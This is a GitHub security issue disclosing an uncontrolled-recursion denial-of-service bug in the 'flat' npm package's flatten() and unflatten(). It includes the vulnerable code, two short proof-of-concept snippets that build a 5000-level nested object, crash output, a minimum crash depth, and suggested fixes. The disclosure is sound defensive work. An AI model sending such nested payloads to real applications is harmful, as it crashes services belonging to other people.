Skip to content

Security: Uncontrolled Recursion DoS in flatten() - CWE-674 (Stack Overflow) #189

@uug4na

Description

@uug4na

Summary

flat v6.0.1 flatten() function uses a recursive inner function step() (line 20-43 of index.js) to traverse nested objects. The maxDepth option is not set by default (undefined), so the recursion depth is unbounded. An attacker-controlled deeply nested object (~2,255+ levels) causes a RangeError: Maximum call stack size exceeded, crashing the Node.js process.

Severity: Medium (DoS - process crash)
CWE: CWE-674 (Uncontrolled Recursion)

Root Cause

File: index.js, line 38

function step (object, prev, currentDepth) {
  currentDepth = currentDepth || 1
  Object.keys(object).forEach(function (key) {
    // ...
    if (type === 'object' && ...) {
      if (!opts.maxDepth) {
        return step(value, newKey, currentDepth + 1) // UNBOUNDED RECURSION
      }
    }
  })
}

The function recurses into nested objects without any depth check when maxDepth is not set (the default).

Two Confirmed Attack Vectors

1. Direct: flatten(deepObject)

import { flatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
flatten(obj);
// RangeError: Maximum call stack size exceeded

2. Indirect: unflatten({key: deepObject})

import { unflatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
unflatten({ test: obj });
// RangeError: Maximum call stack size exceeded
// (unflatten calls flatten() internally at line 109 to pre-process nested object values)

PoC Output

--- PoC 1a: flatten() with deeply nested object ---
[FAIL] flatten() crashes at depth 5000: Maximum call stack size exceeded

--- PoC 1b: unflatten() crash via nested object value ---
[FAIL] unflatten() crashes with nested object value at depth 5000: Maximum call stack size exceeded

--- PoC 1c: Minimum crash depth ---
[INFO] Minimum depth causing crash: ~2255 levels
[INFO] This is well within range of attacker-crafted JSON payloads

Impact

Any application that calls flatten() on untrusted input (e.g., JSON from API requests, user-submitted data) can be crashed with a ~2,255-level nested object. The RangeError from stack overflow may not be catchable in all environments, and Node.js may terminate the entire process.

A 2,255-level nested JSON object is only ~30KB, making this a low-bandwidth DoS attack.

Suggested Fix

Either:

  1. Set a reasonable default maxDepth (e.g., 100 or 500)
  2. Convert step() to an iterative algorithm using an explicit stack

Verified NOT Vulnerable

  • Prototype pollution via __proto__: CVE-2020-36632 fix is solid (line 121 correctly checks key1 === '__proto__')
  • Prototype pollution via constructor.prototype: Safe (constructor on {} is Function type, isobject=false)
  • ReDoS: No regex used anywhere in the package
  • Algorithmic complexity: All operations are O(n) in the number of keys

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions